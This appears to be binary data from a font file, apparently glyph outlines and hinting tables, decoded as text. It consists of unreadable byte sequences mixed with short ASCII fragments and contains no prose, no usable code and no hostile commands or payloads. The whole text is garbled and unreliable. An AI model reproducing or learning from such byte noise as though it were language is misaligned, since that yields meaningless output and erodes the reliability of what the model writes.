	�'�n�����77�'b�j���7R�����sdC��Z�W"d'�@���Z�W"''�@B��Z�W"f'�@G��Z��"�'7>��B��Z�W"�'�@f����?d'"b�^����=f��ed'">b�^��Wf	��}�W'�'5R"����Rfv����2&'&75476,"7&"1
OJ�
'�'F8&#SL��,#7Z�Zs���1��0!!Z�s���Z�ZsZ��b�/�1��0!!Zc��b�Z��b�/�1��0!!ZL��b�Z��b�/�1��0!!ZL��b��b�/�1��0!!�b�����'_J_����]&BB���%�@i		��91��990#>7%ME�}��@��?��[����@
b		���91��990>=3�NF�~�+?��=��[Z����@		���91��990>=3Z_W����E��%��Z����.'3�N�~�F+P[�=������/@	
i		����991�<�290#>7#>7�LE�|���ME�}��@��?��[P@��?��[��r�3@	
b		�����991�<�290>=3%>=3�NF�~�@LE�}�+?��=��[P?��?��[Z��`�2@	
		�����991�<�290>=3%>=3Z_W���;_X����E��%��ZPE��%��Z��r�.'3.'3rN�~�F��N�}�E+P[�=��?P[�?��9�;��6@
�	�bHH	�<��2�<�2�1���<�2�<�203%%#5��#��p#�#�p��F���s�9�;��\@1��	�
�bH
H
�<�2�22�<�22�21���2�<�2�<�2�2�<�203%%%%#55��#��p##��p#�#�p�##�p��F������E��%'�3��!�	��1��04632#"&3�~|��}}��|��|}��3��q3�������
64632#"�M87NN790pNN87N����
$4632#"$4632#"{M87NN79�
M87NN790pNN87NMpNN87N��/�#&@a!	`$$�����1�<<�220%4632#"&%4632#"&%4632#"&%M87NN79L�VM87NN79L�VM87NN79Lh8NN87NM88NN87NM88NN87NMq��
L�#0<@L|@B?@=@=>?>MG$jjGj=*j1?7`A=iM$>0-'@!':	-:4!D4JM������������991�2�<<�2�2����90KSX��Y"2#"&546"32654&"32654&"32654&#'2#"&5463#2#"&546������WddWVbc��XcdWVbc�XbdVVbaU�������"��Z��������ܻ��ۻ��Z��������ݦ��������!��������\ܻ��ۻ����
ۻ��ۼ��	q��
o�
!-9DOS]2#"&546"32654&%2#"&546"32654&"32654&"26&#'2#"&5463#  &54��������WddWVbc����������WddWVbc��XcdWVbc�Xbd�baU�������"��Z��<���¹���ۻ��Z��������Z���ۻ��Z��������ݦ��������!�����&�\���ۻ����
ۻ��ۼ�(`��3(���`u����(`��'�,���(`��'�X&��,(`��#3�W���`u��(`��'�,���(`��'�,'�X�����#'#�����R������s##@Z���21�������0	5s��)�+#s����s�R���##@Z�<��1�������05	��+(��#�^R�^sXX�������'�t������&>32##4632#"67654'&�j�T���{:Ia�M97NN79�5S4ZI)�/.ֶ��3��
B{��pNN87N���(;e��O-���B���!����'
�'
�{
�{������+@M`i��1��0KSX��Y"3#7��R�������!!3#!�������"j��J��j���o53!5!!5!����/^Jj��j��E����&"�"������|�&"[�����|�'�t"���;y�2####5����k�kv�辸���/��/k��(3+"&5463y��v}��~���}|���(';2+���v~��}�O�|}���!���k
�{��hy
0.'03"&5462hP���X1MpMMp�PZ��%���pMM87N��!���o'

������BY�'��H'��d��'#"/&'&#"5>32326��茞�"܎�ކ�獞�ڒ��'�XTB	9IM�WQB:J��(`$�'�X'��&��,4��	2654&" '&5476 0�jj�j}��_^^_R_^^ļ�������rr��rrrr��r/��462#"3!53#53}+:*)in��oo��4&&4%�n;;�<5���P@'�	
	�

	M
���
h
\�<��<��91��<�<�290KSX��Y"	!535!533#3��T�N��r��������i��T�T��R�D���$!67632#"&'5332654'&#"#��%$01;�bacb�H�NNrfmv:;n?/0%;�\�

KK��JJ�OTtnl::%�(���
,27654'&#"67632#"'&54632#.#"8�5445bch4K&EG?�[Z¢�]^��7<=?OZM�BB�::lm::pjo<j%LK��ij���	�8<RSO���	#!#5!��jg��"R�����g�5���54'&"274'&"276 '&54767.54632l77�7777�700�0000�00KuCB]\��\]BCvip���WVp'�1221�122"L*++*LM*++*p
;9Yu@??@uW;:bLdt::dLb3��,#"&547632#"'&'53326"327654r/<<L��`a��]^��>5<?M	.-K��~�5445bc45*���KLij���	�8�Q::ml::88jo���k!!#!5!Oa��e��ak��[��:[:���1!!�'��1[�d��!!!!�'��'���Z�Zf��&7�����aTTa�=	�	=7;����<[��5>54&'5[aUUa����7<����;7=���r��.�!53#53676323!534'&#"34gm� 23Cm34e��cKP)*c�;�<j=99w��;;m)(44d��;��4��T��d����C{�d��Z�Tt�d��d���Tu�d��5�C��d��D���C��d��(���T��d��O�C��d��5���T��d��3��T��d�������d���:����d�������d��f�M�g��d��[�M�g��d��@���d.�d��@���d4�d��@���d=�d��.�T��d��@���d5�d��.gr�d��%g:�d��.�g��d��/�d;�d��.d��d��%��dA�d��7��Sd��d��%���B�d8����)-3'53#535#53#5!3#5!#3#3###35#��j����������������x�����j~��j�j�j�k��kk�~j�j��=�Jj�������q�4p@;-s+!s1edei`#5-+$(#,"5	
.!,
",(4(
5��2�������99999999991�2�������2�<�20#"#73&'&5467#7332#.#"!!!!3267q+筽��/�-��-�/�c�|j�z���/�1w/����t����0h1"0h.>E������h3	Dh�吏�uZ�#0;37367"76!32!73 4&+3 #"'3254#"�8t*��� ��@��|����0vD��P�4J��J�H���4\V|JJ����D�R�_��^�����w�ژz��n��X�����,sB����7#�RmNC�����q]�$)05353#535#535#5!23#3##!3!27!5!654'%!&#!q�VVVV���I ^FEZ M������@��8��B��j6kVk�kq@Xkk^Cr��j���Vk�R����C327673# $547#53676?67!5!654'&#"#676323#!8^]��^]s��{�����U͹$!���7RS��XYq�||h�
�
YՌ� :l�GFRQ���3��K=j^=7j<e{@AGH�>+ҾA7jb@*j���q!*#&'&76753#&'&'6767q+t]�d����{�dCBd|jL?\W<L��d?mo6��nX��
��F0׉
�E���aO��
DS���n^�����`�5!53!5!!3�d�����^ww��j�ww�,j^��(!!!3!&'&+532767!7!&'&+7�/�`Y`/��QW�F23(ٶ���D78b�ޗHD��-�1H��-�hO�h�SY.-R�Ejۋ((kGD�hU1Ih����"353'%5'%#5!#7725#5!!q��N4�L4�G��P���P���G�f�Y��j��n؉�n�tkk�o؈�o��%�k�~��q��%353#535#53#5!2+!!332654&+q������w��������罕����j/k�krk��k��j�����V����&! !2#.#"3267'&7�;������I�z� �'Ω���ܕ�+��O?��>P~~����ef�@A�������f�����(;���ϭ;'����_��x�'&�r���_�')�r�`3�#353#5!#!#5!#3!53!33!3`���R���������8�D�y�yy�
�yy�yyd��y\���bl3#7!>323!654'&#"c�h�H�l�?'o���x!z��"s�j�Vlne=fCU��jjgE=!H����ck!6323!64'&"#'?#7!%ő۰?'o���x!��#s����,�h/p�gj�e=�W��jjg�!H����jTNf�j��N�Z��353#5!#5!#!335Z�����
����m���U�/y�y���yy��7�By\R�oizL��+�	/#"&63264&"!!463"##52765#5!+�gh��hg-OOuNN���̓ԗ#"y���ԗ#"�t+�����i�ih�h��h����P�"�>���Qrk�f`��)353#5!2#!332654&+367654'&`��R�&������p����py��efjGgfGy�y����y㭑����v��x:S��R9V���� 2F$! ;#"&2#">54.&7u���[�xy�����5�y3��L�������5{z/SS:%/?`��{|;a?//?`�hj��d����t/92��)BKLB��������̾����>cx�c#@`UcTR���~��RSdU_A#$A_UbSQ`��#'1B3!.+3!53#5! %326&+#!&'&/67654&'&?Yz-ڙ��EaV=����T��������y���"&$:%&˦.\1<,0:�
\W�`yÌM��yy�y���!����h?#J��*^p)7Q%+7fCa#+����(z@D
#
'�%!b)	&S"7$S	PPPTPS$T 7)�������2���2������91�<<�22�<�2�2999903#3!53#3#53#5)#5#3!53##^���VV��V�+�T�VV�}-D�V��V�A��B�BBB���7�VBB�B�h�BBB�hL��
35!#!!53	3L{�5�����j�����h��A��\��}'�"}��'�.!#! 764'5!#5! '&'&'&5476D��uP�]\�������Nu����9:nc���co::{z1�-�F���骩���6F��ӉW��֗��g[`0/\g���հ���q�.�����m�V�#3!3!!#3!#5���:{�{{���j�kL����jF�'353#5!#3!53!33!#3F��P����������p�ppy5yy��yy5��y���5��2�T�'$4'&7#5!76'&'53%7654&3276&/7#cĚA6\k�36|��u���,>��Kh��O$�<��.)37��X#E�̸��Gwgn��k��!�4fMJ,:���]B`�%�b*V��E�Z;h�1.p`��
%3!53#5!#5!3#��ӿ�3�������yyy�y���-�`2�#3!53!3!53#5#!#2����������������y�yy�-yy�y����5�w��#7!5!	!#5!	!53��Ce�k�q���M{�r�d?{L�2~��P����������k�����!!6$3 !"$'53 !"kJ��u�^��u�����op�����k���o��SU�g�����gHF�_`2/.2%��!#!5!��)�+���!5!��_��+�+����!#	#3��b�e��f���9����	'%3265!#73#7! !%#$65&��?����������}F�
�o����)jII�bSy,G�|d��y�y���Yg���y����������[M��k"&44#"26?6$ #7!3!7 '&547	3	&477_�n{-
ց$��=�9c�����y�AdCD�p�h'=q[Hz*`�华"X��ico*��x�ey���d�KX���"��?Ԗ8pCs�L?v�D���D ,364'&"3273# '&547 &4?67354B�8;&*Y~�V�N����wS3hoL��%9�6�X��US\�wԹ�f�FS(�k�O\��:�q��hj��G;��������	 462"&3!73#7!&>4&"3#*��N��O���o����x0<1!�p�p-ha7g`��yy5y�(%#(<(�j5���9�	#+462"&#7!!"'72672654#>7#L��O��O%���@�8x�,q%�L�0!=79�wJR�p�-g�b7f`��y�\��'�?:^{(<(.A�1UK+��qa����	7	>54&#"%!>3 #"&'332654&'3!53>7'#�FWW�f��M��i�.��30��C�sq�ng�Dl��EO
��'�cS���N�f��G��XV����e=yB��""kpqZ=yq P�ikk��`�1�'33!!#3!#5!#31j��jj���!�A�br�jj��j�������'�5&{���d�������'�5&{���d�����
��'�5&{'{��d���d�����X�'u��d'�5{��Z��X�'u��d'�5t�����q�'���d'�5{��Z��q�'���d'�5t��d��q�'���d'�5u��5��q�'���d'�5��������'���d'�5{��D����'���d'�5��������'���d'�5{��d����'���d'�5u��D����'���d'�5���O����'���d'�5�������'�5{��q��,q��%3!53#5!+!!A��r������|jjjkk�qF�%3!53#5!+!!!!���+��վ��|����|jjjkk��q�	#5!###3!53#5!�������������j��zkk��j�jjkk������9����%3!53###5!#	#5!#ݾ������� ����l�jjj��jkk��zkk��	��%3!53###5!#	#5!+!!	$��r����� ��������|jjj��jkk��zkk���)�%3!53###5!#	#5!#)!!!k��+����� ��������|G��|jjj��jkk��zkk��q��	3!53#5!#	#5!#	3!533	�����q����@I��uנ��������L��jjkk��kk���?jj�s�����;O�%3!53	3!53	#5!#	#5!#!	���	����������L�P�@I�Ծ���u�jjj��jjs�kk��kk����?	��#%3!53	3!53	#5!#	#5!+!)!	ؾ�²���������L�P�@I����|�����u�jjj��jjs�kk��kk����?��q�/��s����&��q��'��f��0��J`�L��J��'L�L��J~�'L'L�L��J�'Y�L����'Y������'L�Y����	t�'L�'LY�����'L�'L'L	�Y��J��'[�L��j'[����'L�[��	r�'L�'L[��;RO��f��DF��f���G��J^DPq	0�) ) # !33 !�����P��]���P����7#�˺#7�������v�A�tj�������LlHq��&#5! )5; !#67654'&/�R���P����˺#7��ܺ�x��x�c9LL9jk�v�����tjLlHa�������sXu��tWq	0�)56'3 !#5#35&'&76! ) 6��#7��ܺ�x��x�{����6 ��x��xN����P��]���P2��2�DLlHa������2�l�k2�a������D����������v�A�ts����332#"#6$3 #"$s�0ا����%q�zI�mpa�������SHIS��XA@�U�����pad�f��D33276'&#"#67632#"&f��w�KLLL��FGkedde荍����?}|tt�ts@@�0�������s�V�� %'"&'&5!2#.#"32673#���apm�Iz�q%�����0��\ldap�\�@A������������������4��X�'u��d'�5�L�?8	L@
	
���<�2991@			
��99��0@D	D@@@@@
T	TPPPP]!#53?����_�����
������	J@	
��99��1@	/��<�2990@KKOOOO@
[[____]!53%	���
������_���u�h8	L@

���<�2991@	
��99��0@KKOOOO@
[[____]!3#!u���_����Q�c
�cQ�����	L@	
��99��1@

���<�2990@DD@@@@@
TTPPPP]%#5�Q�c
�cQ����_��L�h83#!#53}���_�����_���Q�c
�cQ���
��������-#553%�Q�c
�cQ���
�����_��F���_�-Q��	%'7�s�rfK���r���KfP��	%%7%���Kf�r��f��w�qj��	7%'%s�f��wjr�qw��f.j��	'7.r�qw��f�s�rfK��L�??!'!#53!?���������_��Q�����E���
���XE��u�h?5!!3#!'uP������_������E�XE��Q�c
�cQ��ErFf�'7327>2'&""'&'�fK��^X{|X>���>�s�W�X>��UV=���Kf^XX>JJ>�s�XX>J%&=NFB�"&'&"'7>232?%7%�]=VU��>X�W�s�>���>X|{X^��K�^=&%J>XX�s�>JJ>XX^f��L�?8!###5333?����\��_��\T���Q���
���Q�����!#5553%%����Q���
���Q���T\���_�\���u�h85!333###u�T\���_�\���E�Q��Q�c
�cQ��Q�����3%%#555	�Q��Q�c
�cQ��Q����\��_��\T�L�F8	!#53�Tr��.r������_���Qs��
��sQ���
���n�h8	'57!3#4��r.��rTI���_�E��s*
*s��Q�c
�cQL�?8
3#!#53�������_���8��8���
������
)5!53%!��8���
���8�f���_���u�h8
3!3#!u�f���_���
��Q�c
�cQ�������
!5!!%#5	����Q�c
�cQ(������_�����)5!553%%!��E��Q���
���Q��E�a�����_��E���L�?c264&#52#!#530-@@-q��q���_���@Z@�����
���u�hc!3#!"&463"�����_��q��q-@@�Q�c
�cQ�➢@Z@L�?c#!#53!5462+7264&"â���_���➞qmm-@@Z@@���
���mq��➢@Z@@-mu�hc#"&462!3#!354&"�mq������_����m@Z@@@�➞qmQ�c
�cQ���m-@@Z@L�h8/ 3276;3##"#"&"#"'&+#5332327�V*!NUI���_�6%VZ�.V.�ZV%6��_��IUN!��-~Q�c
�cQ*�����*���
���~-�L�h?3#!'!#53!}���_������\��_����Q�c
�cQ��E���
���XE��`����
-'7%l�!
��)e����v|������=���f����!#!#53�������_���^���
����3#!#���_�����Q�c
�cQ������#53!3��_��V�(���
����^�����!3!3#��V���_(��Q�c
�c���%#5!5!�Q�c
�cQ�,v���_����FmU4#53!31��_��������
�����Z)'R#4."%#54>2'�An���nAQ�c
�cQ[���Ԛ[T�nAAn�T��_��uԚ[[���)ZR4>2%#54."�[���Ԛ[Q�c
�cQAn���nAuԚ[[��u��_��T�nAAn�TQ��	
%'7%5!�s�rfK������r���Kfɢ���u��?�'����^��	�!2>4&''7".467�7AAn���nAA7fK��M[[���Ԛ[[M�7���nAAn���7��KfM��Ԛ[[����M����!7".467%7%2>4&�rM[[���Ԛ[[M��Kf7AAn���nAA�rM��Ԛ[[����Mf��w7���nAAn���FE?83!!F���Q��F�?�5!!#F��>�����	��	%#������>����3#5�������uEn8!5!3n��Q�Qu�n�	#!5!n���>��Q�	����#3%�Q/��>������53��Q�/�����L��h�'U^S����Z��Z�'V^T����L��h�'S^U����L�2?�'S�S�>������'T�T�>��u�2h�'U�>U���������'V�>V���F,n'��8���F,n'����8L�?�%#53!7!!!!'7!%7!��_�Y&V�B��DM�xV�B���D��33��
���7�����7���^^L�h�!!'3#7!'7!#53!!!7!7'��BY��_Y�>V�B��Y�_�Y�;� 33��D�33�7���c
�c��7���
���^^��^^u�h�%'7!5!7!5!7!'3#7!!7'��B�2	D���V�BlY��_Y��DD33�7�����7���c
�c�^�^^L�?8%#53!!!!��_�Y��33��`��
���^^����53'#'#��
���^^�G��_Y�`�33��u�h83#7!5!7'!5!���_Y�`�33��8�c
�c��^^������#5373��c
�c��^^���_�Y��33��`L�h83#7!#53!!7'!���_Y��Y�_�Yv�1(33��38�c
�c���
����^^^�����53'7#5'��
����c
�c�^^^^G��_Y��Y�_�Yv�1(33��3.���'78K�Er�|g�s��iK4��s�g�|rE�����7%''/'-K4��s�g�|rE������r�g�|sE�j�W%'77?7|�����r�g�|sE���4Es�|g�r��.jW%'7���4Es�|g�r��tK�Er�|g�s��L�?�%#53!!!!!!��_�=��5=��=�|�
������u�h�3#7!5!7!5!'!5!���_=�|�=��=�5����
��������L�?8##53373#'-���_���x����x~�?����E���
�����=��=Ϣm��=��=u�h8'#53733#�@����?�~x����x����_�Em��=��=m���=��=�Q�c
�cQ���!#!5!5!5!53%!!!!����8��8���
���8��8����X�����_��G�X������3!!!!%#5!5!5!5!	�8��8��Q�c
�cQ��8��8�M�X��G��_����X�L�?8#5!#5!##53!#5w�����_����碢������
��������#53#53#553%#53���������
�������V�J���_��\�u�h853!53!533#!53=�V�J���_��\�E�����Q�c
�cQ�������3#3#3%#53#	�����Q�c
�cQ�������_����u�?8
!##33!?�������a�}E��^����^��u�?8
!33##!u}�a��������Q��E��E��QL�?8!55!!#53����d��=�_�=;E��E����
�����%3'3!#53#�E��E����
��d���d=��_=u�h8!7'!!53#5����d=��_=�E��E�R��c
�c������#7#%!3#53�E��E�R��c
�c�f����d��=�_�=���%5!!!'3'3!#53#������dE��E����
��d��d^�S��dS=��_=�+�
%3!53#53#'3'3#!5#c�^ș�
��dE��E�����=��_=d��22�+�3'!3#!5#73!53#53#3'�E7��7E���d�^ș�
�����Py77�22d��=��_=�Q�+�3'!5#73!53#53#3#�E�;�d�^ș�
���ŸE�y��12d��=��_=�OϺ�2���)#57#53##3'373!3'3c���
����cD��D�
�JE��E>=�=��_=�=;��H>���+�%%3!53#57#53##3'3733'3#!5c�^ș���
����cD��D�
�E��E����D=�=��_=�=;��z���22u�hg
#3!53#577'!5#35o��=��_=d��22���ș�c
�c�dE��E�&��"�	%'7!!�s�rfK���d{���r���Kf���d���
�	7%'%!5!�s�f��w����r�qw��fQ�}d�����3#53#53#7#3'3c��c
�c���
���E��EE��E��=�_�=`=��_=�<��(��u�h8"+!6762!3#!"'&'!%3&'&#"#3276uz2P�P2����_���2P�P2���	(:4.	��	(:4.	�?2PP2?Q�c
�cQ?2PP2?�	))�	))��Z��Z�'T^V��u��hJ	!'3#7!!'3#7!!'3#7!u{[��{��{[��{��{[��{��q��
������
���,��
���L�?8!#!#53!3?����_��6���8���
���8��u�h85!3!3#!#u0�6���_��ʢE�8��Q�c
�cQ��8L�h83#!#!#53!3}���_��.��.��_��Ң�Q�c
�cQ��8���
���8��L�?8!###!#53!333?�M�X��G��_����X���8��8���
���8��8��u�h85!333!3#!###u��X�����_��G�X�E�8��8��Q�c
�cQ��8��8L�h83#!###!#53!333}���_����X�����_��U�X��Q�c
�cQ��8��8���
���8��8��L�?8#53!��P=�_�=���Q���
����u�h87%3#!5��=��_=����,�QQ�c
�cQ�L�h83#!#53%7�=��_=��=�_�=�����Q�c
�cQ���
�����,����	��
!3!3*���B�᫻�����1������+h���-)6@'!	'!�*$$*����9991������990>54&#"#"&54632#"&54324&#"32�IH7�$$0�e���՘�ݢe�WOm�VPm�mW�K��t,>b������Fأ�[�t}���t{|��!5!!5!!5�����g��g�+�����|���!'7#53#5!!5!73!���@�4Eq��#��W�?�4,�����+�*â�����*â�	��g��3V�M@)ddMwb��91/��90KSX����Y"%	33�^�]�<�;�A����+3V�!	!#3�����#�Ŭ1���+�%!!"$$3!!"!![��H��ج�(���H��A,��m,Aޠ��(\(���oLT�TLo���"*%!!"''&'&$;3#!!'!#"[��Hc[m�q�QV�(�^c�N��y�L�A�p��,5��$��A,����87T��\(�8נ�o���[6TLZ���oLT�!5!2#!5!26767!5!&'.��H��(���خ�H���A,�m�,A�d������ج��oLT�TLo���"*!5!2+'7#53!5!&!&'&326767��H�d[m�q�QV��خ]c�N�����A�p1,4��#��A,d�+8��U�����ج��8נ��~\��TLZ�d�o�oLT5�w'�=@"��
��V	WV
VWV��2���2��1��22�<�20!#3!53!3!53#5����6������J�JJJ��JJJ�5�w'�!53#5!#!#5!#3'���T��T���wJ�JJ�J�JJ�J�w��J@#���	
�<�91���990@

*]]!#'.#!!>?3!5	�nNI=D�N)��u?$HN����h����"��%�!%�)/��1��@	r��1��0!!���Ӣ��!!#!5!!!�1�Ϡ��1������y��y���T���F4632#"&!!#!5!�M97NN79M�1�Ϡ��1�8MN78ML�y��y������B�����S
%#'-73%��y�L��
�
��L��yL\
�
\8��v��}�v��w�}����g�&"265$62"&�VzTT|T�Q��OS���WU|ST<y�UQ��g�62"&٥�OS����UQ�=��}
*@
	��
	��91��903##'%\�s��B��}}`��s-Pb�;��=���'us����=��o'�K������%.#"326"&'#"&54632>3"31�Ue�vYQ��J�PG�_����_�KD�a*�M2�C�XX�ie����u��~९�{������YY����/D@$	!-$'!���!�0$U*U0����99991����9999032654&#".#"326#"&54632>32#"&�2�Te�vYQ��1�Ue�vYQ��G�_����_�KD�a����_�/YY�ie��9XX�ie���~९�{���⦮�u��I%!3!������~�$��I%!3!���Ȣ��T�~�$�8{�#{����e��8#�37#'��us�us
��us�o�us�8��###٢�����e��e��8a�3737##'����esآ��es^?�c��es�����@es��!3#	i�h�����T��J��3	3#�#"�����J��T��#4$ #4. x��(\(�����ނ��~��(���خ�~��ނ������3 $53 ><������ج���ނi��~��ج�(���~�ނ��/���%#@ ��
��&
XX&����1�����026732#"&'.#"
#"&546327j��Pd@7*8	k��OeD=!0

���l9�TA6?&#H���n�!�bSA8?S��/���'�����/��	D'�J'����1�y4632#"&!!�M87NN79L����8MN78ML����y4632#"&4632#"!!�M87NN79LM87NN79��r���8MN78ML�pNN87NH����y"-14632#"&4632#"4632#"&4632#"!!�M87NN79LM87NN79�M87NN79LM87NN79�����8MN78ML�pNN87Ni8MN78ML�pNN87NH������y'	'��J'	'�-����'#"/&#"563232ۿ�\��e����\��e�'��?	E���?	E���'32?632&#"#"'ٮ�e��\����e��\��'�E	?���E	?����!!#"/&'&#"5>32326���c�]\�
�_\�Ye�]`�
�a\�����ZT?	9IL�ZRB	9I�f��!!#"/&#"5>32326���b�^`�
!�_\�Ye�]`�
�a\����YSB9IL�ZRA	9I���8l@9216/$#(!6/,(+!/�(�/6�6�!921$#+9�<�291��������9999999999990#"'&'&'&#"5>32326#"/&'&#"5>32326�c�]\�
�_\�Ye�]`�
�a\�Xb�^`�
�_\�Ye�]`�
�a\�d�ZT?9IL�ZRB	9IѓYSB9IL�ZRA	9I�f�D4632#"&!!!!�M97NN79M������8MN78ML�����D%4632#"&4632#"&!!!!�M97NN79MM97NN79M�����F8MN78ML�8MN78ML�����D%4632#"&4632#"&!!!!�M97NN79M�	M97NN79M����F8MN78ML�8MN78ML�����D4632#"&4632#"&!!!!�M97NN79M�	M97NN79M�����8MN78ML��8MN78ML�����1k�4632#"&4632#"&!!!!�M97NN79MM97NN79M�����N8MN78ML��8MN78ML!����1k�4632#"&4632#"&!!!!`M97NN79MM97NN79M�y����N8MN78ML��8MN78ML!����'��<@!

r
r
	�<�291�<�2�<�2�9990!!!!!'7!5!7!�}�/�H�{����}�������?f٠����f٠����F!!!!!!�������Ҡ�������
&@r	�<�2291/���90	5	!!�����������p�o�����
&@
	r
�<<�291/���90%!555�������f���������%!!"$$3!!"[�����ج�(�����ނ�ޠ��(\(�����ނ��!5!2#!5!2>.Y����(���خ����ނ��d������ج���ނ���$%!!"''&'&$;!!'#"[���20e�a#!���(��c�N�����O��ނABn����8V(\(�8נ�>+����oq?���#!'7#53!5!32>&'&��TYR����خ��c�N��_��po����ނ�oE8�0V����ج��8נĠ��E���A)�j��7!!!!"$$3!!"���������ج�(�����ނ���̠�(\(�����ނ�j��7!!!5!2#!5!2>.��������(���خ����ނ����������ج���ނ����	!#533 $53 >��]��=]u������ج���ނӢ�9
9�j��~��ج�(���~�ނ������4632#"&%3 $53 >�M97NN79Mh������ج���ނ�8MN78ML ��~��ج�(���~�ނ������!5!3!!3 $53 >
��,�,���������ج���ނ+�+�բ��c��~��ج�(���~�ނ����3!!!���q��<���!5!!5��q�����Ġ�j��7!!!!!�����q�,��<��j��7!!!5!!5�����q���0���Ġ��!#!#���<���r����)3!3���Ġ��r��#+$  $!!&'&'&!67676!ج(\(��������ULoA,�,AoL6�uULoA,��u,AoL�\(������ج�'�-AoL7�uTLoA-��u-AoL���TLoA-��$  $! 676%!&'. ج(\(���������J,A��A,�X�,A���A,�\(������ج��TLo��oL�TLo��oL��&/$  $	7	&'& 	676'&	 76ج(\(�������A
��
�o��o���
AA���oo�\(������ج�X��o���
AA���oo�s��
AA��!$  $&'&  >'&ج(\(�������A
�o����aoނA�\(������ج�X��o�
A�J�a
A��o��#4632#"&$ >. $  $�M97NN79M����ނ����ެ(\(��������8MN78ML���ނ��ނ���\(������ج���)&"265$62". >. $  $�VzTT|T�Q��OS��ł�ނ����ެ(\(��������WU|ST<y�UQ���ނ��ނ���\(������ج���)
%#'-73% >. $  $��7L��
�
��L7��L
�
�ۂ�ނ����ެ(\(���������v���K�v��w�K���y��ނ��ނ���\(������ج���!!!! >. $  $��V��V���ނ����ެ(\(�������l���l��ނ��ނ���\(������ج���!!& >. $  $��V���ނ����ެ(\(�������Ӣ��ނ��ނ���\(������ج���3!%!)!!!!��.�p0��p��p��������q�1�q��q���3!!%!!�����@��@��1�q�����	3!%!		!	����� m�$n����n�#n�� ����3!4632#"&!���M97NN79Mf�@���8MN78ML�Y��@��3!!#٢��s��g��f��#!5!��s��+������!!#!��g��g��� ����35!3!������ ����3!!#٢5�ˢ�g��f���3!!!!#٢5��5�ˢ�/��.��3!!!!#٢��s��s��������#!3!!#{�^�/�Ѣ�+�g��f��#!#!3!!#{��^��/��+�+�g��f�f�3!!!!##7���s��s���������+���3!!!'!#٢����{��[���a��g�D����zDB�f��3!!!!!'!#7!٢<S�����WA�s���3���;X���D�n����)D�������#!33!!#'7#{�^�����{���Cn���AA�+�g�D�������D[[��f�#!3!!!!!'7#7#%7!{�^��S���4��W����Nt���X���+��D�n����)D�b��������	r�������������B�L�	a��1��04632#"&�M97NN79M�8MN78ML���	3	%!	�||����$�$�$��`����j����!!#���j�H���o#!5o������j����3!����"�Hj���o!5!3o�/���j���^!#���^��c?$%%$����������������������~���������	1;FOY!! &546;#"&546 !54632+32#"&=54&#"3#"32653264&"2654&#l(�ع���������(���������������DbEDbbE��EbbEDbP�Dba�bb�abDv(�D�������(���������������غ������P�Eaa�b��bDEbbD�b�aaE�	�DbbEDb��^!3!���b?�c���l4732#"'&'.#"0���Pd@7+	h�$��TA6?&H������*�u�
#"&546323250u��Pd@7+	h���$����DTA6?&Hk-k�T�!!!!%!!�B����f�6���L�̔4��+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%�.@�7!!!!!!���������������P�#53sà�����Z�����0�������s�3#�����s��P�#5s�ˠА����W��eE�&2����P�53�Z���������y�����i����P�#0P���s	���P�3#�à�Р˓���������[���Pm#!!s���#��	q����s�3#�����s��P�!!s�`��N�	u���Pm!5!��#���������Pz3#���z����Pz3!5!��`�z������Xm
#4763!!"]�oy���eD9��uߑ��fW����]�#'&%'53 763�:*e�nK��==Mn�e(� =��C���_A�Ec���H�<��X�
3!!"'&5]9De��{o����Vf����d���]�#3]����	����]m
4'&#!5!2�9De���yo��}�Wf��������X�&'&3!3#76l<(e�nM==��Kn�e*�!<����McE�A_�I����=��]�
3#!5!2765��o{���eD9���Ꮮ�fV���u�3��	��w_t!#'%3t��!}�Z--Pb������!	!!��
���$�<���.��73!3!��������`��j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	